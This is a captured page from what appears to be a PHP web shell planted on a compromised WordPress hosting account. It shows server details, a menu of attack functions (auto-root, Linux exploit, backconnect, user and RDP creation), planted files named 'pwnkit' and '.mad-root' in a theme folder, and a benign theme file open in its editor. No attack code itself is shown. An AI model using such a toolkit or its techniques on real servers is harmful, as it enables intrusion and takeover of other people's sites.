Linux webm003.cluster129.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.129.20.3 | : 216.73.217.63
Cant Read [ /etc/named.conf ]
8.4.22
chloega
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
chloega /
www /
wp-content /
themes /
inspiro /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
admin
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
customizer
[ DIR ]
drwxr-xr-x
dynamic-css
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
admin-notice.php
4.72
KB
-rw-r--r--
back-compat.php
2.27
KB
-rw-r--r--
color-patterns.php
723
B
-rw-r--r--
common-functions.php
18.44
KB
-rw-r--r--
custom-header.php
18.26
KB
-rw-r--r--
customizer-functions.php
4.96
KB
-rw-r--r--
editor-fonts.php
2.53
KB
-rw-r--r--
google-fonts.php
186.01
KB
-rw-r--r--
icon-functions.php
2.41
KB
-rw-r--r--
marketing-functions.php
9.95
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
shortcodes.php
938
B
-rw-r--r--
starter-content.php
125.28
KB
-rw-r--r--
template-functions.php
7.5
KB
-rw-r--r--
template-tags.php
7.29
KB
-rw-r--r--
theme-media.php
2.4
KB
-rw-r--r--
wc-custom-functions.php
456
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : theme-media.php
<?php /** * Prevents from creating different image sizes than default thumbnail, medium, large * Images are created on demand * @global array $_wp_additional_image_sizes * @param type $out * @param int $id * @param string $size * @return boolean|array */ add_filter( 'image_downsize', 'inspiro_media_downsize', 10, 3 ); function inspiro_media_downsize( $out, $id, $size ) { // If image size exists let WP serve it like normally $imagedata = wp_get_attachment_metadata($id); if ( ! is_string( $size ) ) { return false; } if ( is_array( $imagedata ) && isset( $imagedata[ 'sizes' ][ $size ] ) ) { return false; } // Check that the requested size exists, or abort global $_wp_additional_image_sizes; if ( ! isset( $_wp_additional_image_sizes[ $size ] ) ) { return false; } // Make the new thumb if ( !$resized = image_make_intermediate_size( get_attached_file( $id ), $_wp_additional_image_sizes[ $size ][ 'width' ], $_wp_additional_image_sizes[ $size ][ 'height' ], $_wp_additional_image_sizes[ $size ][ 'crop' ] ) ) return false; // Save image meta, or WP can't see that the thumb exists now $imagedata[ 'sizes' ][ $size ] = $resized; wp_update_attachment_metadata( $id, $imagedata ); // Return the array for displaying the resized image $att_url = wp_get_attachment_url( $id ); return array( dirname( $att_url ) . '/' . $resized[ 'file' ], $resized[ 'width' ], $resized[ 'height' ], true ); } /** * Prevent resize on upload * @param array $sizes * @return array */ function inspiro_media_prevent_resize_on_upload( $sizes ) { // Removing these defaults might cause problems, so we don't $default_sizes = array( 'inspiro-featured-image' => $sizes[ 'inspiro-featured-image' ], 'inspiro-loop' => $sizes[ 'inspiro-loop' ], 'inspiro-loop@2x' => $sizes[ 'inspiro-loop@2x' ], 'thumbnail' => $sizes[ 'thumbnail' ], 'medium' => $sizes[ 'medium' ], 'large' => $sizes[ 'large' ] ); if( has_image_size( 'portfolio_item-thumbnail' ) && has_image_size( 'portfolio_item-thumbnail@2x' ) ) { $default_sizes['portfolio_item-thumbnail'] = $sizes[ 'portfolio_item-thumbnail' ]; $default_sizes['portfolio_item-thumbnail@2x'] = $sizes[ 'portfolio_item-thumbnail@2x' ]; }; return $default_sizes; } add_filter( 'intermediate_image_sizes_advanced', 'inspiro_media_prevent_resize_on_upload' );
Close